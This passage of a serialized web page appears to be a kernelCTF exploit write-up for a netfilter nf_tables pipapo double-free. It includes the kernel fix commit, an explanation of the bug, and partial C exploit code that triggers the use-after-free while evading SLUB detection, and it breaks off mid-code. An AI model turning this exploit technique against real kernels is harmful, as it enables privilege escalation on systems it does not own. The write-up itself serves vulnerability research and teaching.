added:",{"type":23,"tag":31,"props":53815,"children":53819},{"className":53816,"code":53817,"language":53818,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53820],{"type":23,"tag":37,"props":53821,"children":53822},{"__ignoreMap":7},[53823,53831,53839,53846,53854,53862,53869,53877,53884,53892,53900,53907,53915,53923,53931,53939,53947,53955,53963,53971,53979,53986,53994,54002,54009,54017,54025,54033,54041,54049,54056,54064,54072],{"type":23,"tag":41,"props":53824,"children":53825},{"class":43,"line":44},[53826],{"type":23,"tag":41,"props":53827,"children":53828},{},[53829],{"type":28,"value":53830},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":41,"props":53832,"children":53833},{"class":43,"line":54},[53834],{"type":23,"tag":41,"props":53835,"children":53836},{},[53837],{"type":28,"value":53838},"transaction is aborted.\n",{"type":23,"tag":41,"props":53840,"children":53841},{"class":43,"line":76},[53842],{"type":23,"tag":41,"props":53843,"children":53844},{"emptyLinePlaceholder":18},[53845],{"type":28,"value":82},{"type":23,"tag":41,"props":53847,"children":53848},{"class":43,"line":85},[53849],{"type":23,"tag":41,"props":53850,"children":53851},{},[53852],{"type":28,"value":53853},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":41,"props":53855,"children":53856},{"class":43,"line":105},[53857],{"type":23,"tag":41,"props":53858,"children":53859},{},[53860],{"type":28,"value":53861},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":41,"props":53863,"children":53864},{"class":43,"line":155},[53865],{"type":23,"tag":41,"props":53866,"children":53867},{},[53868],{"type":28,"value":10316},{"type":23,"tag":41,"props":53870,"children":53871},{"class":43,"line":186},[53872],{"type":23,"tag":41,"props":53873,"children":53874},{},[53875],{"type":28,"value":53876},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":41,"props":53878,"children":53879},{"class":43,"line":195},[53880],{"type":23,"tag":41,"props":53881,"children":53882},{},[53883],{"type":28,"value":10316},{"type":23,"tag":41,"props":53885,"children":53886},{"class":43,"line":905},[53887],{"type":23,"tag":41,"props":53888,"children":53889},{},[53890],{"type":28,"value":53891},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":41,"props":53893,"children":53894},{"class":43,"line":922},[53895],{"type":23,"tag":41,"props":53896,"children":53897},{},[53898],{"type":28,"value":53899},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":41,"props":53901,"children":53902},{"class":43,"line":930},[53903],{"type":23,"tag":41,"props":53904,"children":53905},{},[53906],{"type":28,"value":10316},{"type":23,"tag":41,"props":53908,"children":53909},{"class":43,"line":939},[53910],{"type":23,"tag":41,"props":53911,"children":53912},{},[53913],{"type":28,"value":53914},"[16302.231917] Call Trace:\n",{"type":23,"tag":41,"props":53916,"children":53917},{"class":43,"line":947},[53918],{"type":23,"tag":41,"props":53919,"children":53920},{},[53921],{"type":28,"value":53922},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":41,"props":53924,"children":53925},{"class":43,"line":985},[53926],{"type":23,"tag":41,"props":53927,"children":53928},{},[53929],{"type":28,"value":53930},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":41,"props":53932,"children":53933},{"class":43,"line":1058},[53934],{"type":23,"tag":41,"props":53935,"children":53936},{},[53937],{"type":28,"value":53938},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":41,"props":53940,"children":53941},{"class":43,"line":1084},[53942],{"type":23,"tag":41,"props":53943,"children":53944},{},[53945],{"type":28,"value":53946},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":41,"props":53948,"children":53949},{"class":43,"line":1102},[53950],{"type":23,"tag":41,"props":53951,"children":53952},{},[53953],{"type":28,"value":53954},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":41,"props":53956,"children":53957},{"class":43,"line":1110},[53958],{"type":23,"tag":41,"props":53959,"children":53960},{},[53961],{"type":28,"value":53962},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":41,"props":53964,"children":53965},{"class":43,"line":1118},[53966],{"type":23,"tag":41,"props":53967,"children":53968},{},[53969],{"type":28,"value":53970},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":41,"props":53972,"children":53973},{"class":43,"line":1137},[53974],{"type":23,"tag":41,"props":53975,"children":53976},{},[53977],{"type":28,"value":53978},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":41,"props":53980,"children":53981},{"class":43,"line":1163},[53982],{"type":23,"tag":41,"props":53983,"children":53984},{"emptyLinePlaceholder":18},[53985],{"type":28,"value":82},{"type":23,"tag":41,"props":53987,"children":53988},{"class":43,"line":1188},[53989],{"type":23,"tag":41,"props":53990,"children":53991},{},[53992],{"type":28,"value":53993},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":41,"props":53995,"children":53996},{"class":43,"line":1979},[53997],{"type":23,"tag":41,"props":53998,"children":53999},{},[54000],{"type":28,"value":54001},"elements in the lookup tables.\n",{"type":23,"tag":41,"props":54003,"children":54004},{"class":43,"line":2002},[54005],{"type":23,"tag":41,"props":54006,"children":54007},{"emptyLinePlaceholder":18},[54008],{"type":28,"value":82},{"type":23,"tag":41,"props":54010,"children":54011},{"class":43,"line":3835},[54012],{"type":23,"tag":41,"props":54013,"children":54014},{},[54015],{"type":28,"value":54016},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":41,"props":54018,"children":54019},{"class":43,"line":3895},[54020],{"type":23,"tag":41,"props":54021,"children":54022},{},[54023],{"type":28,"value":54024},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":41,"props":54026,"children":54027},{"class":43,"line":9044},[54028],{"type":23,"tag":41,"props":54029,"children":54030},{},[54031],{"type":28,"value":54032},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":41,"props":54034,"children":54035},{"class":43,"line":9061},[54036],{"type":23,"tag":41,"props":54037,"children":54038},{},[54039],{"type":28,"value":54040},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":41,"props":54042,"children":54043},{"class":43,"line":9106},[54044],{"type":23,"tag":41,"props":54045,"children":54046},{},[54047],{"type":28,"value":54048},"to it).\"\n",{"type":23,"tag":41,"props":54050,"children":54051},{"class":43,"line":9212},[54052],{"type":23,"tag":41,"props":54053,"children":54054},{"emptyLinePlaceholder":18},[54055],{"type":28,"value":82},{"type":23,"tag":41,"props":54057,"children":54058},{"class":43,"line":23496},[54059],{"type":23,"tag":41,"props":54060,"children":54061},{},[54062],{"type":28,"value":54063},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":41,"props":54065,"children":54066},{"class":43,"line":23531},[54067],{"type":23,"tag":41,"props":54068,"children":54069},{},[54070],{"type":28,"value":54071},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":41,"props":54073,"children":54074},{"class":43,"line":23539},[54075],{"type":23,"tag":41,"props":54076,"children":54077},{},[54078],{"type":28,"value":54079},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":54081,"children":54082},{},[54083,54085,54090,54092,54097,54099,54104,54106,54111],{"type":28,"value":54084},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":37,"props":54086,"children":54088},{"className":54087},[],[54089],{"type":28,"value":51014},{"type":28,"value":54091}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":37,"props":54093,"children":54095},{"className":54094},[],[54096],{"type":28,"value":52340},{"type":28,"value":54098}," method by simply replacing the ",{"type":23,"tag":37,"props":54100,"children":54102},{"className":54101},[],[54103],{"type":28,"value":51014},{"type":28,"value":54105},"s match object with its updated clone. So checking the ",{"type":23,"tag":37,"props":54107,"children":54109},{"className":54108},[],[54110],{"type":28,"value":50968},{"type":28,"value":54112}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":54114,"children":54115},{},[54116,54118,54123],{"type":28,"value":54117},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":37,"props":54119,"children":54121},{"className":54120},[],[54122],{"type":28,"value":51014},{"type":28,"value":54124},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":54126,"children":54127},{},[54128,54130,54136,54138,54143,54145,54150],{"type":28,"value":54129},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":37,"props":54131,"children":54133},{"className":54132},[],[54134],{"type":28,"value":54135},"set->ops->destroy()",{"type":28,"value":54137}," could be called without clearing the ",{"type":23,"tag":37,"props":54139,"children":54141},{"className":54140},[],[54142],{"type":28,"value":50968},{"type":28,"value":54144}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":37,"props":54146,"children":54148},{"className":54147},[],[54149],{"type":28,"value":51006},{"type":28,"value":54151},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":54153,"children":54154},{},[54155,54157,54162],{"type":28,"value":54156},"But when the ",{"type":23,"tag":37,"props":54158,"children":54160},{"className":54159},[],[54161],{"type":28,"value":53724},{"type":28,"value":54163}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":54165,"children":54166},{},[54167],{"type":28,"value":54168},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":446,"props":54170,"children":54172},{"id":54171},"kernelctf-exploit",[54173],{"type":28,"value":54174},"KernelCTF exploit",{"type":23,"tag":24,"props":54176,"children":54177},{},[54178,54180,54186,54188,54195],{"type":28,"value":54179},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":37,"props":54181,"children":54183},{"className":54182},[],[54184],{"type":28,"value":54185},"nft_object + udata",{"type":28,"value":54187}," technique shared by lonial con in a ",{"type":23,"tag":458,"props":54189,"children":54192},{"href":54190,"rel":54191},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[462],[54193],{"type":28,"value":54194},"previous kernelCTF exploit",{"type":28,"value":706},{"type":23,"tag":546,"props":54197,"children":54199},{"id":54198},"trigger-uafavoid-double-free-detection",[54200],{"type":28,"value":54201},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":54203,"children":54204},{},[54205,54207,54213,54215,54221],{"type":28,"value":54206},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":37,"props":54208,"children":54210},{"className":54209},[],[54211],{"type":28,"value":54212},"nft_set_pipapo_match_destroy",{"type":28,"value":54214}," iterates over the ",{"type":23,"tag":37,"props":54216,"children":54218},{"className":54217},[],[54219],{"type":28,"value":54220},"setelems",{"type":28,"value":54222}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":5436,"props":54224,"children":54225},{},[54226,54231,54236,54241],{"type":23,"tag":421,"props":54227,"children":54228},{},[54229],{"type":28,"value":54230},"Element A gets freed",{"type":23,"tag":421,"props":54232,"children":54233},{},[54234],{"type":28,"value":54235},"Element B gets free",{"type":23,"tag":421,"props":54237,"children":54238},{},[54239],{"type":28,"value":54240},"Element A gets freed again (double-free)",{"type":23,"tag":421,"props":54242,"children":54243},{},[54244],{"type":28,"value":54245},"Element B gets freed again (double-free)",{"type":23,"tag":31,"props":54247,"children":54249},{"className":356,"code":54248,"language":355,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[54250],{"type":23,"tag":37,"props":54251,"children":54252},{"__ignoreMap":7},[54253,54260,54321,54328,54335,54343,54350,54357,54365,54389,54410,54444,54505,54512,54520,54572,54579,54605,54632,54671,54700,54729,54751,54758,54765,54772,54780,54787,54795,54808,54821,54841,54848,54856,54878,54910,54955,54991,55019,55026,55033,55041,55048,55064,55071],{"type":23,"tag":41,"props":54254,"children":54255},{"class":43,"line":44},[54256],{"type":23,"tag":41,"props":54257,"children":54258},{"style":70},[54259],{"type":28,"value":10316},{"type":23,"tag":41,"props":54261,"children":54262},{"class":43,"line":54},[54263,54268,54272,54277,54281,54286,54290,54295,54300,54304,54308,54312,54317],{"type":23,"tag":41,"props":54264,"children":54265},{"style":70},[54266],{"type":28,"value":54267},"static void trigger_uaf(",{"type":23,"tag":41,"props":54269,"children":54270},{"style":64},[54271],{"type":28,"value":9399},{"type":23,"tag":41,"props":54273,"children":54274},{"style":94},[54275],{"type":28,"value":54276}," mnl_socket",{"type":23,"tag":41,"props":54278,"children":54279},{"style":64},[54280],{"type":28,"value":9814},{"type":23,"tag":41,"props":54282,"children":54283},{"style":858},[54284],{"type":28,"value":54285},"nl",{"type":23,"tag":41,"props":54287,"children":54288},{"style":70},[54289],{"type":28,"value":970},{"type":23,"tag":41,"props":54291,"children":54292},{"style":64},[54293],{"type":28,"value":54294},"size_t",{"type":23,"tag":41,"props":54296,"children":54297},{"style":858},[54298],{"type":28,"value":54299}," size",{"type":23,"tag":41,"props":54301,"children":54302},{"style":70},[54303],{"type":28,"value":970},{"type":23,"tag":41,"props":54305,"children":54306},{"style":64},[54307],{"type":28,"value":1124},{"type":23,"tag":41,"props":54309,"children":54310},{"style":64},[54311],{"type":28,"value":9814},{"type":23,"tag":41,"props":54313,"children":54314},{"style":858},[54315],{"type":28,"value":54316},"msgqids",{"type":23,"tag":41,"props":54318,"children":54319},{"style":70},[54320],{"type":28,"value":1969},{"type":23,"tag":41,"props":54322,"children":54323},{"class":43,"line":76},[54324],{"type":23,"tag":41,"props":54325,"children":54326},{"style":70},[54327],{"type":28,"value":1559},{"type":23,"tag":41,"props":54329,"children":54330},{"class":43,"line":85},[54331],{"type":23,"tag":41,"props":54332,"children":54333},{"style":70},[54334],{"type":28,"value":10316},{"type":23,"tag":41,"props":54336,"children":54337},{"class":43,"line":105},[54338],{"type":23,"tag":41,"props":54339,"children":54340},{"style":70},[54341],{"type":28,"value":54342},"    // TRANSACTION 2\n",{"type":23,"tag":41,"props":54344,"children":54345},{"class":43,"line":155},[54346],{"type":23,"tag":41,"props":54347,"children":54348},{"style":70},[54349],{"type":28,"value":10316},{"type":23,"tag":41,"props":54351,"children":54352},{"class":43,"line":186},[54353],{"type":23,"tag":41,"props":54354,"children":54355},{"emptyLinePlaceholder":18},[54356],{"type":28,"value":82},{"type":23,"tag":41,"props":54358,"children":54359},{"class":43,"line":195},[54360],{"type":23,"tag":41,"props":54361,"children":54362},{"style":70},[54363],{"type":28,"value":54364},"    // create pipapo set\n",{"type":23,"tag":41,"props":54366,"children":54367},{"class":43,"line":905},[54368,54373,54377,54381,54385],{"type":23,"tag":41,"props":54369,"children":54370},{"style":70},[54371],{"type":28,"value":54372},"    uint8_t desc[2] = {",{"type":23,"tag":41,"props":54374,"children":54375},{"style":164},[54376],{"type":28,"value":40837},{"type":23,"tag":41,"props":54378,"children":54379},{"style":70},[54380],{"type":28,"value":970},{"type":23,"tag":41,"props":54382,"children":54383},{"style":164},[54384],{"type":28,"value":40837},{"type":23,"tag":41,"props":54386,"children":54387},{"style":70},[54388],{"type":28,"value":936},{"type":23,"tag":41,"props":54390,"children":54391},{"class":43,"line":922},[54392,54397,54401,54406],{"type":23,"tag":41,"props":54393,"children":54394},{"style":70},[54395],{"type":28,"value":54396},"    set ",{"type":23,"tag":41,"props":54398,"children":54399},{"style":170},[54400],{"type":28,"value":2381},{"type":23,"tag":41,"props":54402,"children":54403},{"style":114},[54404],{"type":28,"value":54405}," create_set",{"type":23,"tag":41,"props":54407,"children":54408},{"style":70},[54409],{"type":28,"value":3461},{"type":23,"tag":41,"props":54411,"children":54412},{"class":43,"line":930},[54413,54418,54422,54427,54432,54436,54440],{"type":23,"tag":41,"props":54414,"children":54415},{"style":70},[54416],{"type":28,"value":54417},"        batch, seq",{"type":23,"tag":41,"props":54419,"children":54420},{"style":170},[54421],{"type":28,"value":51264},{"type":23,"tag":41,"props":54423,"children":54424},{"style":70},[54425],{"type":28,"value":54426},", exploit_table_name, ",{"type":23,"tag":41,"props":54428,"children":54429},{"style":735},[54430],{"type":28,"value":54431},"\"pwn_set\"",{"type":23,"tag":41,"props":54433,"children":54434},{"style":70},[54435],{"type":28,"value":970},{"type":23,"tag":41,"props":54437,"children":54438},{"style":164},[54439],{"type":28,"value":43494},{"type":23,"tag":41,"props":54441,"children":54442},{"style":70},[54443],{"type":28,"value":3506},{"type":23,"tag":41,"props":54445,"children":54446},{"class":43,"line":939},[54447,54452,54456,54461,54465,54470,54474,54478,54482,54487,54492,54496,54500],{"type":23,"tag":41,"props":54448,"children":54449},{"style":70},[54450],{"type":28,"value":54451},"        NFT_SET_INTERVAL ",{"type":23,"tag":41,"props":54453,"children":54454},{"style":170},[54455],{"type":28,"value":10414},{"type":23,"tag":41,"props":54457,"children":54458},{"style":70},[54459],{"type":28,"value":54460}," NFT_SET_OBJECT ",{"type":23,"tag":41,"props":54462,"children":54463},{"style":170},[54464],{"type":28,"value":10414},{"type":23,"tag":41,"props":54466,"children":54467},{"style":70},[54468],{"type":28,"value":54469}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":41,"props":54471,"children":54472},{"style":164},[54473],{"type":28,"value":3123},{"type":23,"tag":41,"props":54475,"children":54476},{"style":70},[54477],{"type":28,"value":970},{"type":23,"tag":41,"props":54479,"children":54480},{"style":170},[54481],{"type":28,"value":855},{"type":23,"tag":41,"props":54483,"children":54484},{"style":70},[54485],{"type":28,"value":54486},"desc, ",{"type":23,"tag":41,"props":54488,"children":54489},{"style":64},[54490],{"type":28,"value":54491},"NULL",{"type":23,"tag":41,"props":54493,"children":54494},{"style":70},[54495],{"type":28,"value":970},{"type":23,"tag":41,"props":54497,"children":54498},{"style":164},[54499],{"type":28,"value":4024},{"type":23,"tag":41,"props":54501,"children":54502},{"style":70},[54503],{"type":28,"value":54504},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":41,"props":54506,"children":54507},{"class":43,"line":947},[54508],{"type":23,"tag":41,"props":54509,"children":54510},{"emptyLinePlaceholder":18},[54511],{"type":28,"value":82},{"type":23,"tag":41,"props":54513,"children":54514},{"class":43,"line":985},[54515],{"type":23,"tag":41,"props":54516,"children":54517},{"style":48},[54518],{"type":28,"value":54519},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":41,"props":54521,"children":54522},{"class":43,"line":1058},[54523,54527,54531,54535,54540,54544,54548,54552,54556,54560,54564,54568],{"type":23,"tag":41,"props":54524,"children":54525},{"style":58},[54526],{"type":28,"value":3034},{"type":23,"tag":41,"props":54528,"children":54529},{"style":70},[54530],{"type":28,"value":142},{"type":23,"tag":41,"props":54532,"children":54533},{"style":64},[54534],{"type":28,"value":1124},{"type":23,"tag":41,"props":54536,"children":54537},{"style":70},[54538],{"type":28,"value":54539}," i ",{"type":23,"tag":41,"props":54541,"children":54542},{"style":170},[54543],{"type":28,"value":2381},{"type":23,"tag":41,"props":54545,"children":54546},{"style":164},[54547],{"type":28,"value":392},{"type":23,"tag":41,"props":54549,"children":54550},{"style":70},[54551],{"type":28,"value":51228},{"type":23,"tag":41,"props":54553,"children":54554},{"style":170},[54555],{"type":28,"value":1012},{"type":23,"tag":41,"props":54557,"children":54558},{"style":164},[54559],{"type":28,"value":178},{"type":23,"tag":41,"props":54561,"children":54562},{"style":70},[54563],{"type":28,"value":51259},{"type":23,"tag":41,"props":54565,"children":54566},{"style":170},[54567],{"type":28,"value":51264},{"type":23,"tag":41,"props":54569,"children":54570},{"style":70},[54571],{"type":28,"value":1969},{"type":23,"tag":41,"props":54573,"children":54574},{"class":43,"line":1084},[54575],{"type":23,"tag":41,"props":54576,"children":54577},{"style":70},[54578],{"type":28,"value":1711},{"type":23,"tag":41,"props":54580,"children":54581},{"class":43,"line":1102},[54582,54587,54592,54596,54601],{"type":23,"tag":41,"props":54583,"children":54584},{"style":858},[54585],{"type":28,"value":54586},"        elem",{"type":23,"tag":41,"props":54588,"children":54589},{"style":70},[54590],{"type":28,"value":54591},"[i] ",{"type":23,"tag":41,"props":54593,"children":54594},{"style":170},[54595],{"type":28,"value":2381},{"type":23,"tag":41,"props":54597,"children":54598},{"style":114},[54599],{"type":28,"value":54600}," nftnl_set_elem_alloc",{"type":23,"tag":41,"props":54602,"children":54603},{"style":70},[54604],{"type":28,"value":3669},{"type":23,"tag":41,"props":54606,"children":54607},{"class":43,"line":1110},[54608,54613,54618,54623,54627],{"type":23,"tag":41,"props":54609,"children":54610},{"style":114},[54611],{"type":28,"value":54612},"        memset",{"type":23,"tag":41,"props":54614,"children":54615},{"style":70},[54616],{"type":28,"value":54617},"(key, ",{"type":23,"tag":41,"props":54619,"children":54620},{"style":164},[54621],{"type":28,"value":54622},"0x41",{"type":23,"tag":41,"props":54624,"children":54625},{"style":170},[54626],{"type":28,"value":8901},{"type":23,"tag":41,"props":54628,"children":54629},{"style":70},[54630],{"type":28,"value":54631}," i, KEY_LEN);\n",{"type":23,"tag":41,"props":54633,"children":54634},{"class":43,"line":1118},[54635,54640,54644,54648,54653,54658,54662,54667],{"type":23,"tag":41,"props":54636,"children":54637},{"style":114},[54638],{"type":28,"value":54639},"        nftnl_set_elem_set",{"type":23,"tag":41,"props":54641,"children":54642},{"style":70},[54643],{"type":28,"value":1737},{"type":23,"tag":41,"props":54645,"children":54646},{"style":858},[54647],{"type":28,"value":52059},{"type":23,"tag":41,"props":54649,"children":54650},{"style":70},[54651],{"type":28,"value":54652},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":41,"props":54654,"children":54655},{"style":735},[54656],{"type":28,"value":54657},"\"pwnobj\"",{"type":23,"tag":41,"props":54659,"children":54660},{"style":70},[54661],{"type":28,"value":970},{"type":23,"tag":41,"props":54663,"children":54664},{"style":164},[54665],{"type":28,"value":54666},"7",{"type":23,"tag":41,"props":54668,"children":54669},{"style":70},[54670],{"type":28,"value":3825},{"type":23,"tag":41,"props":54672,"children":54673},{"class":43,"line":1137},[54674,54678,54682,54686,54691,54695],{"type":23,"tag":41,"props":54675,"children":54676},{"style":114},[54677],{"type":28,"value":54639},{"type":23,"tag":41,"props":54679,"children":54680},{"style":70},[54681],{"type":28,"value":1737},{"type":23,"tag":41,"props":54683,"children":54684},{"style":858},[54685],{"type":28,"value":52059},{"type":23,"tag":41,"props":54687,"children":54688},{"style":70},[54689],{"type":28,"value":54690},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":41,"props":54692,"children":54693},{"style":170},[54694],{"type":28,"value":855},{"type":23,"tag":41,"props":54696,"children":54697},{"style":70},[54698],{"type":28,"value":54699},"key, KEY_LEN);\n",{"type":23,"tag":41,"props":54701,"children":54702},{"class":43,"line":1163},[54703,54707,54711,54715,54720,54724],{"type":23,"tag":41,"props":54704,"children":54705},{"style":114},[54706],{"type":28,"value":54639},{"type":23,"tag":41,"props":54708,"children":54709},{"style":70},[54710],{"type":28,"value":1737},{"type":23,"tag":41,"props":54712,"children":54713},{"style":858},[54714],{"type":28,"value":52059},{"type":23,"tag":41,"props":54716,"children":54717},{"style":70},[54718],{"type":28,"value":54719},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":41,"props":54721,"children":54722},{"style":170},[54723],{"type":28,"value":855},{"type":23,"tag":41,"props":54725,"children":54726},{"style":70},[54727],{"type":28,"value":54728},"udata_buf, size);\n",{"type":23,"tag":41,"props":54730,"children":54731},{"class":43,"line":1188},[54732,54737,54742,54746],{"type":23,"tag":41,"props":54733,"children":54734},{"style":114},[54735],{"type":28,"value":54736},"        nftnl_set_elem_add",{"type":23,"tag":41,"props":54738,"children":54739},{"style":70},[54740],{"type":28,"value":54741},"(set, ",{"type":23,"tag":41,"props":54743,"children":54744},{"style":858},[54745],{"type":28,"value":52059},{"type":23,"tag":41,"props":54747,"children":54748},{"style":70},[54749],{"type":28,"value":54750},"[i]);\n",{"type":23,"tag":41,"props":54752,"children":54753},{"class":43,"line":1979},[54754],{"type":23,"tag":41,"props":54755,"children":54756},{"style":70},[54757],{"type":28,"value":192},{"type":23,"tag":41,"props":54759,"children":54760},{"class":43,"line":2002},[54761],{"type":23,"tag":41,"props":54762,"children":54763},{"style":70},[54764],{"type":28,"value":10316},{"type":23,"tag":41,"props":54766,"children":54767},{"class":43,"line":3835},[54768],{"type":23,"tag":41,"props":54769,"children":54770},{"emptyLinePlaceholder":18},[54771],{"type":28,"value":82},{"type":23,"tag":41,"props":54773,"children":54774},{"class":43,"line":3895},[54775],{"type":23,"tag":41,"props":54776,"children":54777},{"style":70},[54778],{"type":28,"value":54779},"    // TRANSACTION 3\n",{"type":23,"tag":41,"props":54781,"children":54782},{"class":43,"line":9044},[54783],{"type":23,"tag":41,"props":54784,"children":54785},{"style":70},[54786],{"type":28,"value":10316},{"type":23,"tag":41,"props":54788,"children":54789},{"class":43,"line":9061},[54790],{"type":23,"tag":41,"props":54791,"children":54792},{"style":70},[54793],{"type":28,"value":54794},"    set = 